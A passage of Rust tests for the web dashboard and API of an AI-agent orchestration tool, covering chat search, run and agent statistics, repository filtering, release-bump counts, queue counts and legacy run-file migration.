17654        write_talk(
17655            &f,
17656            "20260901-000001-aaaa",
17657            "open",
17658            &[
17659                (
17660                    "operator",
17661                    "\n  Why does the Pangolin cache expire?\nsecond line",
17662                ),
17663                ("agent", "Because the TTL is thirty seconds."),
17664            ],
17665        );
17666        write_talk(
17667            &f,
17668            "20260901-000002-bbbb",
17669            "closed",
17670            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17671        );
17672        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17673
17674        let search = |q: &'static str| {
17675            let f = &f;
17676            async move {
17677                f.get(&format!("/api/search?scope=chats&q={q}"))
17678                    .await
17679                    .json()
17680            }
17681        };
17682
17683        let v = search("PANGOLIN").await;
17684        assert_eq!(v["scope"], "chats");
17685        assert_eq!(v["total"], 1, "{v}");
17686        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17687        assert_eq!(v["hits"][0]["field"], "title");
17688        assert_eq!(v["unreadable"], 1, "{v}");
17689        let marked: Vec<&str> = v["hits"][0]["snippet"]
17690            .as_array()
17691            .unwrap()
17692            .iter()
17693            .filter(|p| p["hit"] == true)
17694            .map(|p| p["text"].as_str().unwrap())
17695            .collect();
17696        assert_eq!(marked, ["Pangolin"]);
17697
17698        // An agent turn, in a closed conversation.
17699        let v = search("zebra").await;
17700        assert_eq!(v["total"], 1, "{v}");
17701        assert_eq!(v["hits"][0]["field"], "agent");
17702        // Words may sit in different turns; all must be present.
17703        assert_eq!(search("pangolin%20thirty").await["total"], 1);
17704        assert_eq!(search("pangolin%20zebra").await["total"], 0);
17705        // Bookkeeping is not searched.
17706        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17707            assert_eq!(search(q).await["total"], 0, "{q}");
17708        }
17709        // The first line only is the title; the second line is still a turn.
17710        assert_eq!(search("second").await["hits"][0]["field"], "operator");
17711        // Open conversations are listed before closed ones.
17712        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17713
17714        let v = f.get("/api/search?scope=nope&q=a").await;
17715        assert_eq!(v.status, 400);
17716        assert!(
17717            v.body.contains("scope must be runs, tasks or chats"),
17718            "{}",
17719            v.body
17720        );
17721    }
17722
17723    #[test]
17724    fn a_question_card_links_a_task_id_to_the_task_page() {
17725        let start = APP_JS
17726            .find("function updateAskCard(")
17727            .expect("updateAskCard exists");
17728        let body = &APP_JS[start..];
17729        let body = &body[..body.find("\n}\n").expect("function end")];
17730        assert!(body.contains("question.run_is_task"));
17731        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17732        assert!(body.contains("`#/runs/${question.run}`"));
17733        assert!(body.contains("\"task\" : \"run\""));
17734    }
17735
17736    #[test]
17737    fn plain_text_message_surfaces_go_through_linkify() {
17738        assert!(APP_JS.contains("function linkify("));
17739        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17740        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17741        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17742        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17743        assert!(!APP_JS.contains("innerHTML = text"));
17744    }
17745
17746    #[test]
17747    fn implementation_rate_views_keep_independent_samples() {
17748        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17749            let a = stats::AgentStats {
17750                competitive_entered: competitive_n,
17751                competitive_wins: usize::from(competitive_n > 0),
17752                solo_entered: solo_n,
17753                solo_adopted: 2 * usize::from(solo_n > 0),
17754                ..Default::default()
17755            };
17756            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17757            for (key, n, numerator) in [
17758                ("competitive_win_rate", competitive_n, a.competitive_wins),
17759                ("solo_adoption_rate", solo_n, a.solo_adopted),
17760            ] {
17761                if n == 0 {
17762                    assert!(v[key].is_null());
17763                } else {
17764                    assert_eq!(v[key]["denominator"], n);
17765                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17766                }
17767            }
17768        }
17769        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17770        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17771        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17772        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17773    }
17774
17775    #[test]
17776    fn stats_bars_share_one_id_keyed_plan() {
17777        let start = APP_JS
17778            .find("function statsBarRows(")
17779            .expect("statsBarRows exists");
17780        let body = &APP_JS[start..];
17781        let body = &body[..body.find("\n}\n").expect("function end")];
17782        assert!(body.contains("statsBarPlan(rows)"));
17783        assert!(body.contains("statsAgentTone(row.agent)"));
17784        assert!(!body.contains("candTone(i)"));
17785        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17786        for root in [
17787            "stats-agents-bars",
17788            "stats-solo-bars",
17789            "stats-reviewers-bars",
17790        ] {
17791            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17792        }
17793    }
17794
17795    #[test]
17796    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17797        let start = APP_JS
17798            .find("function renderStatsReviewerScatter(")
17799            .expect("renderStatsReviewerScatter exists");
17800        let body = &APP_JS[start..];
17801        let body = &body[..body.find("\n}\n").expect("function end")];
17802        assert!(body.contains("statsScatterPlan(reviewers)"));
17803        assert!(body.contains("statsAgentTone(d.agent)"));
17804        assert!(APP_JS.contains("function statsScatterPlan("));
17805        assert!(
17806            APP_JS.contains("d.submitted < STATS_LOW_N")
17807                || APP_JS.contains("r.submitted < STATS_LOW_N")
17808        );
17809        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17810        assert!(APP_CSS.contains(".precision-scatter"));
17811    }
17812
17813    #[test]
17814    fn advisor_reflection_is_drawn_as_stacked_segments() {
17815        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17816        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
17817        let html = include_str!("../assets/ui/index.html");
17818        assert!(html.contains("Approximate"));
17819        for label in ["reflected strongly", "faint", "no proposal"] {
17820            assert!(html.contains(label));
17821        }
17822        let css = include_str!("../assets/ui/app.css");
17823        for c in ["refl-strong", "refl-faint", "refl-absent"] {
17824            assert!(css.contains(&format!(".{c} {{")));
17825        }
17826    }
17827
17828    #[test]
17829    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17830        assert!(APP_JS.contains("function statsDailyPlan("));
17831        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17832        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17833    }
17834
17835    #[test]
17836    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17837        let start = APP_JS
17838            .find("function scheduleSearch(")
17839            .expect("scheduleSearch exists");
17840        let body = &APP_JS[start..];
17841        let body = &body[..body.find("\n}\n").expect("function end")];
17842        assert!(body.contains("s.seq += 1"));
17843    }
17844
17845    /// The dashboard reads every run's state itself rather than trusting a
17846    /// separately-maintained count, so an unreadable run must be counted the
17847    /// same way `/api/health` counts it - never silently dropped the way the
17848    /// CLI's own `stats::load_all` drops it.
17849    #[tokio::test]
17850    async fn stats_runs_unreadable_matches_health() {
17851        let f = Fixture::start().await;
17852        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17853        let broken = f.runs().join("20260902-140502-bad");
17854        std::fs::create_dir_all(&broken).expect("run dir");
17855        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17856
17857        let stats = f.get("/api/stats").await;
17858        let health = f.get("/api/health").await;
17859
17860        assert_eq!(stats.status, 200);
17861        assert_eq!(stats.json()["totals"]["runs"], 1);
17862        assert_eq!(stats.json()["runs_unreadable"], 1);
17863        assert_eq!(
17864            stats.json()["runs_unreadable"],
17865            health.json()["runs_unreadable"],
17866            "the dashboard and /api/health must never disagree about how many \
17867             runs could not be read"
17868        );
17869    }
17870
17871    #[tokio::test]
17872    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17873        let f = Fixture::start().await;
17874        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17875        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17876        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17877
17878        let totals = &f.get("/api/stats").await.json()["totals"];
17879        assert_eq!(totals["runs"], 3);
17880        assert_eq!(totals["merged"], 1);
17881        assert_eq!(totals["stalled"], 1);
17882        assert_eq!(totals["in_progress"], 1);
17883        // A stalled run must never read as blocked/merged/ready - it is its
17884        // own bucket, not folded into a "decided" one.
17885        assert_eq!(totals["blocked"], 0);
17886        assert_eq!(totals["ready"], 0);
17887    }
17888
17889    #[tokio::test]
17890    async fn stats_advisors_report_proposals_and_reflection() {
17891        use crate::advise::{Advice, AdvisorRecord, Reflection};
17892        use crate::verdict::Proposal;
17893
17894        let f = Fixture::start().await;
17895        let mut state = RunState::new(
17896            PathBuf::from("/repo/magi"),
17897            "main".to_owned(),
17898            "0123456789abcdef".to_owned(),
17899            "task".to_owned(),
17900            Config::default(),
17901        );
17902        state.id = "20260902-140501-a".to_owned();
17903        state.status = RunStatus::Merged;
17904        state.advice = Some(Advice {
17905            records: vec![
17906                AdvisorRecord {
17907                    seat: "advisor-1".to_owned(),
17908                    agent: "alpha".to_owned(),
17909                    proposal: Some(Proposal {
17910                        approach: "do it".to_owned(),
17911                        key_tradeoff: "speed over memory".to_owned(),
17912                        risks: Vec::new(),
17913                        touches: Vec::new(),
17914                        why_not_naive: "breaks under load".to_owned(),
17915                    }),
17916                    error: None,
17917                    duration_ms: 0,
17918                    reflection: Reflection::Strong,
17919                },
17920                AdvisorRecord {
17921                    seat: "advisor-2".to_owned(),
17922                    agent: "alpha".to_owned(),
17923                    proposal: None,
17924                    error: Some("timed out".to_owned()),
17925                    duration_ms: 0,
17926                    reflection: Reflection::Absent,
17927                },
17928            ],
17929            synthesis: Some("blended brief".to_owned()),
17930        });
17931        let dir = f.runs().join(&state.id);
17932        std::fs::create_dir_all(&dir).expect("run dir");
17933        std::fs::write(
17934            dir.join("run.json"),
17935            serde_json::to_string_pretty(&state).expect("serialize run"),
17936        )
17937        .expect("write run.json");
17938
17939        // `alpha` is in no roster here; this test is about the rates.
17940        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17941        let alpha = advisors
17942            .as_array()
17943            .expect("an array")
17944            .iter()
17945            .find(|a| a["agent"] == "alpha")
17946            .expect("alpha row");
17947        assert_eq!(alpha["seated"], 2);
17948        assert_eq!(alpha["proposed"], 1);
17949        assert_eq!(alpha["absent"], 1);
17950        assert_eq!(alpha["strong"], 1);
17951        assert_eq!(alpha["faint"], 0);
17952        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17953    }
17954
17955    #[tokio::test]
17956    async fn stats_hides_agents_outside_the_roster_unless_all() {
17957        use crate::run::Candidate;
17958        let repo = TempDir::new().expect("repo dir");
17959        std::fs::write(
17960            repo.path().join("magi.toml"),
17961            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17962        )
17963        .expect("magi.toml");
17964        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17965        let mut state = RunState::new(
17966            PathBuf::from("/repo/magi"),
17967            "main".to_owned(),
17968            "0123456789abcdef".to_owned(),
17969            "task".to_owned(),
17970            Config::default(),
17971        );
17972        state.id = "20260902-140501-a".to_owned();
17973        state.status = RunStatus::Merged;
17974        for (label, agent) in [('A', "keep"), ('B', "retired")] {
17975            let mut c: Candidate = serde_json::from_value(serde_json::json!({
17976                "index": 0, "label": label.to_string(), "agent": agent,
17977                "branch": "b", "worktree": "/w",
17978            }))
17979            .expect("candidate");
17980            c.label = label;
17981            state.candidates.push(c);
17982        }
17983        let dir = f.runs().join(&state.id);
17984        std::fs::create_dir_all(&dir).expect("run dir");
17985        std::fs::write(
17986            dir.join("run.json"),
17987            serde_json::to_string_pretty(&state).expect("serialize run"),
17988        )
17989        .expect("write run.json");
17990
17991        let agents_of = |v: &serde_json::Value| -> Vec<String> {
17992            v["agents"]
17993                .as_array()
17994                .expect("array")
17995                .iter()
17996                .map(|a| a["agent"].as_str().unwrap().to_owned())
17997                .collect()
17998        };
17999        let hidden = f.get("/api/stats").await.json();
18000        assert_eq!(agents_of(&hidden), ["keep"]);
18001        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18002        assert_eq!(hidden["totals"]["runs"], 1);
18003
18004        let all = f.get("/api/stats?all=true").await.json();
18005        assert_eq!(agents_of(&all).len(), 2);
18006        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18007        // Verify competitive and solo keys exist on agent entries
18008        let keep_agent = all["agents"]
18009            .as_array()
18010            .unwrap()
18011            .iter()
18012            .find(|a| a["agent"] == "keep")
18013            .unwrap();
18014        assert_eq!(keep_agent["competitive_entered"], 1);
18015        assert_eq!(keep_agent["competitive_wins"], 0);
18016        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18017        assert_eq!(keep_agent["solo_entered"], 0);
18018        assert_eq!(keep_agent["solo_adopted"], 0);
18019        assert!(keep_agent["solo_adoption_rate"].is_null());
18020    }
18021
18022    #[tokio::test]
18023    async fn stats_release_bumps_split_clean_from_attention() {
18024        use crate::run::ReleaseBump;
18025
18026        let f = Fixture::start().await;
18027
18028        let mut clean = RunState::new(
18029            PathBuf::from("/repo/magi"),
18030            "main".to_owned(),
18031            "0123456789abcdef".to_owned(),
18032            "task".to_owned(),
18033            Config::default(),
18034        );
18035        clean.id = "20260902-140501-a".to_owned();
18036        clean.status = RunStatus::Merged;
18037        clean.release_bump = Some(ReleaseBump {
18038            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18039            version: Some("1.0.0".to_owned()),
18040            automerge_enabled: true,
18041            merged_directly: false,
18042            local: false,
18043            release: None,
18044            problem: None,
18045            action_required: None,
18046            skipped: None,
18047        });
18048
18049        let mut blocked = RunState::new(
18050            PathBuf::from("/repo/magi"),
18051            "main".to_owned(),
18052            "0123456789abcdef".to_owned(),
18053            "task".to_owned(),
18054            Config::default(),
18055        );
18056        blocked.id = "20260902-140502-b".to_owned();
18057        blocked.status = RunStatus::Merged;
18058        blocked.release_bump = Some(ReleaseBump {
18059            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18060            version: Some("1.0.1".to_owned()),
18061            automerge_enabled: false,
18062            merged_directly: false,
18063            local: false,
18064            release: None,
18065            problem: Some("checks red".to_owned()),
18066            action_required: Some("look at the PR".to_owned()),
18067            skipped: None,
18068        });
18069
18070        for state in [&clean, &blocked] {
18071            let dir = f.runs().join(&state.id);
18072            std::fs::create_dir_all(&dir).expect("run dir");
18073            std::fs::write(
18074                dir.join("run.json"),
18075                serde_json::to_string_pretty(state).expect("serialize run"),
18076            )
18077            .expect("write run.json");
18078        }
18079
18080        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18081        assert_eq!(bumps["merged"], 2);
18082        assert_eq!(bumps["recorded"], 2);
18083        assert_eq!(bumps["pr_opened"], 2);
18084        assert_eq!(bumps["automerge_enabled"], 1);
18085        assert_eq!(bumps["needs_attention"], 1);
18086        assert_eq!(bumps["clean"], 1);
18087        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18088        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18089    }
18090
18091    #[tokio::test]
18092    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18093        let f = Fixture::start().await;
18094        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18095
18096        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18097        assert_eq!(bumps["merged"], 1);
18098        assert_eq!(bumps["recorded"], 0);
18099        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18100        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18101        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18102        // `pr_opened` and `recorded` are both zero here, so these rates have
18103        // no denominator to compute from and must be null.
18104        assert_eq!(bumps["automerge_rate"], Value::Null);
18105        assert_eq!(bumps["attention_rate"], Value::Null);
18106    }
18107
18108    #[tokio::test]
18109    async fn stats_queue_counts_come_from_the_live_queue() {
18110        let f = Fixture::start().await;
18111        let q = f.queue();
18112        let mut queued = Task::new(
18113            "queued task".to_owned(),
18114            "do it".to_owned(),
18115            PathBuf::from("/repo"),
18116            Source::Human,
18117        );
18118        q.put(&mut queued).expect("put queued");
18119        let mut held = Task::new(
18120            "held task".to_owned(),
18121            "do it later".to_owned(),
18122            PathBuf::from("/repo"),
18123            Source::Human,
18124        );
18125        held.hold_machine(Some("out of attempts".to_owned()));
18126        q.put(&mut held).expect("put held");
18127
18128        let queue = f.get("/api/stats").await.json()["queue"].clone();
18129        assert_eq!(queue["queued"], 1);
18130        assert_eq!(queue["held"], 1);
18131        assert_eq!(queue["running"], 0);
18132        assert_eq!(queue["done"], 0);
18133        assert_eq!(queue["failed"], 0);
18134        assert_eq!(queue["blocked"], 0);
18135    }
18136
18137    #[tokio::test]
18138    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18139        let f = Fixture::start().await;
18140        let stats = f.get("/api/stats").await;
18141        assert_eq!(stats.status, 200);
18142        assert_eq!(stats.json()["totals"]["runs"], 0);
18143        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18144        assert_eq!(stats.json()["runs_unreadable"], 0);
18145        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18146        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18147        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18148        assert_eq!(stats.json()["repo"], Value::Null);
18149    }
18150
18151    #[tokio::test]
18152    async fn stats_lists_every_repository_with_runs_recorded() {
18153        let f = Fixture::start().await;
18154        write_run_repo(
18155            &f.runs(),
18156            "20260902-140501-a",
18157            RunStatus::Merged,
18158            "/repos/a",
18159        );
18160        write_run_repo(
18161            &f.runs(),
18162            "20260902-140502-b",
18163            RunStatus::Merged,
18164            "/repos/a",
18165        );
18166        write_run_repo(
18167            &f.runs(),
18168            "20260902-140503-c",
18169            RunStatus::Blocked,
18170            "/repos/b",
18171        );
18172
18173        let stats = f.get("/api/stats").await;
18174        assert_eq!(stats.status, 200);
18175        // Unfiltered - the aggregate across both repositories.
18176        assert_eq!(stats.json()["totals"]["runs"], 3);
18177        assert_eq!(stats.json()["repo"], Value::Null);
18178
18179        let repos = stats.json()["repos"].clone();
18180        let repos = repos.as_array().unwrap();
18181        assert_eq!(repos.len(), 2);
18182        // Busiest (2 runs) first.
18183        assert_eq!(repos[0]["repo"], "/repos/a");
18184        assert_eq!(repos[0]["name"], "a");
18185        assert_eq!(repos[0]["runs"], 2);
18186        assert_eq!(repos[1]["repo"], "/repos/b");
18187        assert_eq!(repos[1]["runs"], 1);
18188    }
18189
18190    #[tokio::test]
18191    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18192        let f = Fixture::start().await;
18193        write_run_repo(
18194            &f.runs(),
18195            "20260902-140501-a",
18196            RunStatus::Merged,
18197            "/repos/a",
18198        );
18199        write_run_repo(
18200            &f.runs(),
18201            "20260902-140502-b",
18202            RunStatus::Blocked,
18203            "/repos/b",
18204        );
18205
18206        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18207        assert_eq!(stats.status, 200);
18208        assert_eq!(stats.json()["totals"]["runs"], 1);
18209        assert_eq!(stats.json()["totals"]["merged"], 1);
18210        assert_eq!(stats.json()["repo"], "/repos/a");
18211        // The repository list itself is unaffected by the filter - it is
18212        // what a client switches repositories from.
18213        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18214        // runs_unreadable is a whole-workload count, never scoped to the
18215        // selected repository - see StatsView::runs_unreadable's own doc.
18216        assert_eq!(stats.json()["runs_unreadable"], 0);
18217    }
18218
18219    #[tokio::test]
18220    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18221        let f = Fixture::start().await;
18222        write_run_repo(
18223            &f.runs(),
18224            "20260902-140501-a",
18225            RunStatus::Merged,
18226            "/repos/a",
18227        );
18228        write_run_repo(
18229            &f.runs(),
18230            "20260902-140502-b",
18231            RunStatus::Merged,
18232            "/repos/b",
18233        );
18234
18235        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18236            let json = f.get(uri).await.json();
18237            let daily = json["daily"].as_array().expect("daily is an array");
18238            assert_eq!(daily.len(), 30);
18239            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18240            let mut sorted = dates.clone();
18241            sorted.sort();
18242            assert_eq!(dates, sorted);
18243            for d in daily {
18244                assert_eq!(
18245                    d["merged"].as_u64().unwrap()
18246                        + d["ready"].as_u64().unwrap()
18247                        + d["other"].as_u64().unwrap(),
18248                    d["runs"].as_u64().unwrap()
18249                );
18250            }
18251            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18252        }
18253    }
18254
18255    #[tokio::test]
18256    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18257        let f = Fixture::start().await;
18258        write_run_repo(
18259            &f.runs(),
18260            "20260902-140501-a",
18261            RunStatus::Merged,
18262            "/repos/a",
18263        );
18264
18265        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18266        assert_eq!(stats.status, 404);
18267    }
18268
18269    #[tokio::test]
18270    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18271        let f = Fixture::start().await;
18272        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18273
18274        let summary = f.get("/api/runs").await.json();
18275        let row = &summary[0];
18276        assert_eq!(row["short"], "a1b2");
18277        assert_eq!(row["status"], "ready");
18278        assert_eq!(row["done"], true);
18279        assert_eq!(row["title"], "Add a web UI");
18280        assert_eq!(row["repo_name"], "magi");
18281        assert_eq!(row["judges"], 3);
18282        assert_eq!(row["winner"], Value::Null);
18283        assert_eq!(row["reviews"], 0);
18284
18285        // The short id resolves, and the detail route is the state itself, not
18286        // a projection of it: the UI reads fields the summary does not carry.
18287        let detail = f.get("/api/runs/a1b2").await;
18288        assert_eq!(detail.status, 200);
18289        assert_eq!(detail.json()["base_branch"], "main");
18290        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18291    }
18292
18293    /// `status: "ready"` alone cannot tell a run still headed for a landing
18294    /// (a PR closed without merging, say) apart from one `[merge] mode =
18295    /// "none"` left unmerged for good — the confusion the operator flagged
18296    /// after the CLI report already grew a `not landed — nothing to do by
18297    /// design` line for exactly this case (`report.rs`). Both the list route
18298    /// and the detail route must carry a flag the phone can key on instead of
18299    /// re-deriving it from `status` + `merge.mode` itself.
18300    #[tokio::test]
18301    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18302        let f = Fixture::start().await;
18303
18304        let mut none_run = RunState::new(
18305            PathBuf::from("/repo/magi"),
18306            "main".to_owned(),
18307            "0123456789abcdef".to_owned(),
18308            "Add a web UI".to_owned(),
18309            Config::default(),
18310        );
18311        none_run.id = "20260902-140503-none".to_owned();
18312        none_run.status = RunStatus::Ready;
18313        none_run.merge = Some(crate::run::MergeOutcome {
18314            mode: crate::config::MergeMode::None,
18315            ok: true,
18316            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18317            empty: false,
18318        });
18319        write_state(&f.runs(), &none_run);
18320
18321        let mut pr_run = RunState::new(
18322            PathBuf::from("/repo/magi"),
18323            "main".to_owned(),
18324            "0123456789abcdef".to_owned(),
18325            "Add a web UI".to_owned(),
18326            Config::default(),
18327        );
18328        pr_run.id = "20260902-140504-prcl".to_owned();
18329        pr_run.status = RunStatus::Ready;
18330        pr_run.merge = Some(crate::run::MergeOutcome {
18331            mode: crate::config::MergeMode::Pr,
18332            ok: false,
18333            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18334            empty: false,
18335        });
18336        write_state(&f.runs(), &pr_run);
18337
18338        let summary = f.get("/api/runs").await.json();
18339        let rows: std::collections::HashMap<&str, &Value> = summary
18340            .as_array()
18341            .expect("an array")
18342            .iter()
18343            .map(|r| (r["id"].as_str().expect("an id"), r))
18344            .collect();
18345        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18346        assert_eq!(
18347            rows[none_run.id.as_str()]["unmerged_by_design"],
18348            true,
18349            "a mode-none Ready must be flagged in the list"
18350        );
18351        assert_eq!(
18352            rows[pr_run.id.as_str()]["unmerged_by_design"],
18353            false,
18354            "a Ready reached by a closed pull request is a different case"
18355        );
18356
18357        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18358        assert_eq!(none_detail["status"], "ready");
18359        assert_eq!(none_detail["unmerged_by_design"], true);
18360
18361        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18362        assert_eq!(pr_detail["unmerged_by_design"], false);
18363    }
18364
18365    /// `RunState::active` is only ever cleared by whoever populated it, so the
18366    /// detail route also has to say whether a daemon is actually still
18367    /// driving this run right now — otherwise a seat from a killed process's
18368    /// last wave would read as live forever.
18369    #[tokio::test]
18370    async fn run_core_survives_unavailable_related_stores() {
18371        let home = TempDir::new().unwrap();
18372        let ui = delta_test_ui(home.path());
18373        let state = RunState::new(
18374            PathBuf::from("/repo/magi"),
18375            "main".into(),
18376            "0123456789abcdef".into(),
18377            "Useful core instructions".into(),
18378            Config::default(),
18379        );
18380        let dir = ui.runs.join(&state.id);
18381        std::fs::create_dir_all(&dir).unwrap();
18382        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18383        std::fs::write(ui.questions.root(), "unavailable").unwrap();
18384        std::fs::write(ui.queue.root(), "unavailable").unwrap();
18385        let core = run_core(State(ui.clone()), Path(state.id.clone()))
18386            .await
18387            .unwrap()
18388            .0;
18389        assert_eq!(core.state.instruction, state.instruction);
18390        assert_eq!(core.state.updated_at, state.updated_at);
18391        assert!(core.task.is_none());
18392        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18393    }
18394
18395    #[tokio::test]
18396    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18397        let f = Fixture::start().await;
18398        // Matches `write_daemon`'s hard-coded `current.run`, so the second
18399        // half of this test can claim the daemon is working on it without a
18400        // second helper.
18401        let id = "20260902-140502-bbbb";
18402        let mut state = RunState::new(
18403            PathBuf::from("/repo/magi"),
18404            "main".to_owned(),
18405            "0123456789abcdef".to_owned(),
18406            "Add a web UI".to_owned(),
18407            Config::default(),
18408        );
18409        state.id = id.to_owned();
18410        state.status = RunStatus::Judging;
18411        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18412        let dir = f.runs().join(id);
18413        std::fs::create_dir_all(&dir).expect("run dir");
18414        std::fs::write(
18415            dir.join("run.json"),
18416            serde_json::to_string_pretty(&state).expect("serialize run"),
18417        )
18418        .expect("write run.json");
18419
18420        // No daemon.json at all, and no `driver_pid` recorded either (this
18421        // state was written directly, never through `execute()`): there is
18422        // nothing to confirm either way, so the route must say `"unknown"` —
18423        // never `"dead"`, which is exactly the false diagnosis a manual `magi
18424        // run` used to get from this route before `driver_pid` existed.
18425        let cold = f.get(&format!("/api/runs/{id}")).await.json();
18426        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18427        assert_eq!(cold["live"], "unknown", "{cold}");
18428
18429        // A fresh heartbeat naming exactly this run: the same entry now reads
18430        // as confirmed, not merely recorded.
18431        write_daemon(f.home.path(), Timestamp::now());
18432        let warm = f.get(&format!("/api/runs/{id}")).await.json();
18433        assert_eq!(warm["live"], "live", "{warm}");
18434    }
18435
18436    #[test]
18437    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18438        let home = tempfile::tempdir().expect("temp home");
18439        let runs = home.path().join("runs");
18440        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18441            let mut state = RunState::new(
18442                PathBuf::from("/repo/magi"),
18443                "main".to_owned(),
18444                "0123456789abcdef".to_owned(),
18445                "Generated review context, not authored task criteria".to_owned(),
18446                Config::default(),
18447            );
18448            state.origin = origin;
18449            state.status = RunStatus::Blocked;
18450            // Earlier migrations must not infer these facts again.
18451            state.driver_exited = false;
18452            state.gate_ran = true;
18453            let expected = serde_json::to_value(&state).expect("serialize current state");
18454            let mut legacy = expected.clone();
18455            legacy["schema"] = serde_json::json!(13);
18456            legacy.as_object_mut().unwrap().remove("task_instruction");
18457            let dir = runs.join(&state.id);
18458            std::fs::create_dir_all(&dir).expect("run dir");
18459            let path = dir.join("run.json");
18460            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18461            std::fs::write(&path, &body).expect("write legacy run");
18462
18463            for loaded in [
18464                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18465                read_run(&runs, &state.id).expect("web migration"),
18466            ] {
18467                assert_eq!(loaded.schema, crate::run::SCHEMA);
18468                assert!(loaded.task_instruction.is_none());
18469                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18470            }
18471            assert_eq!(runs_unreadable(&runs), 0);
18472            assert_eq!(std::fs::read(&path).unwrap(), body);
18473        }
18474    }
18475
18476    /// Where a run came from is shown, and a run written before origins were
18477    /// recorded (schema 12, no `origin` key) stays readable and says so.
18478    #[tokio::test]
18479    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18480        let f = Fixture::start().await;
18481        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18482            let mut state = RunState::new(
18483                PathBuf::from("/repo/magi"),
18484                "main".to_owned(),
18485                "0123456789abcdef".to_owned(),
18486                "Add a web UI".to_owned(),
18487                Config::default(),
18488            );
18489            state.id = id.to_owned();
18490            state.origin = origin;
18491            let mut value = serde_json::to_value(&state).expect("serialize run");
18492            if let Some(schema) = schema {
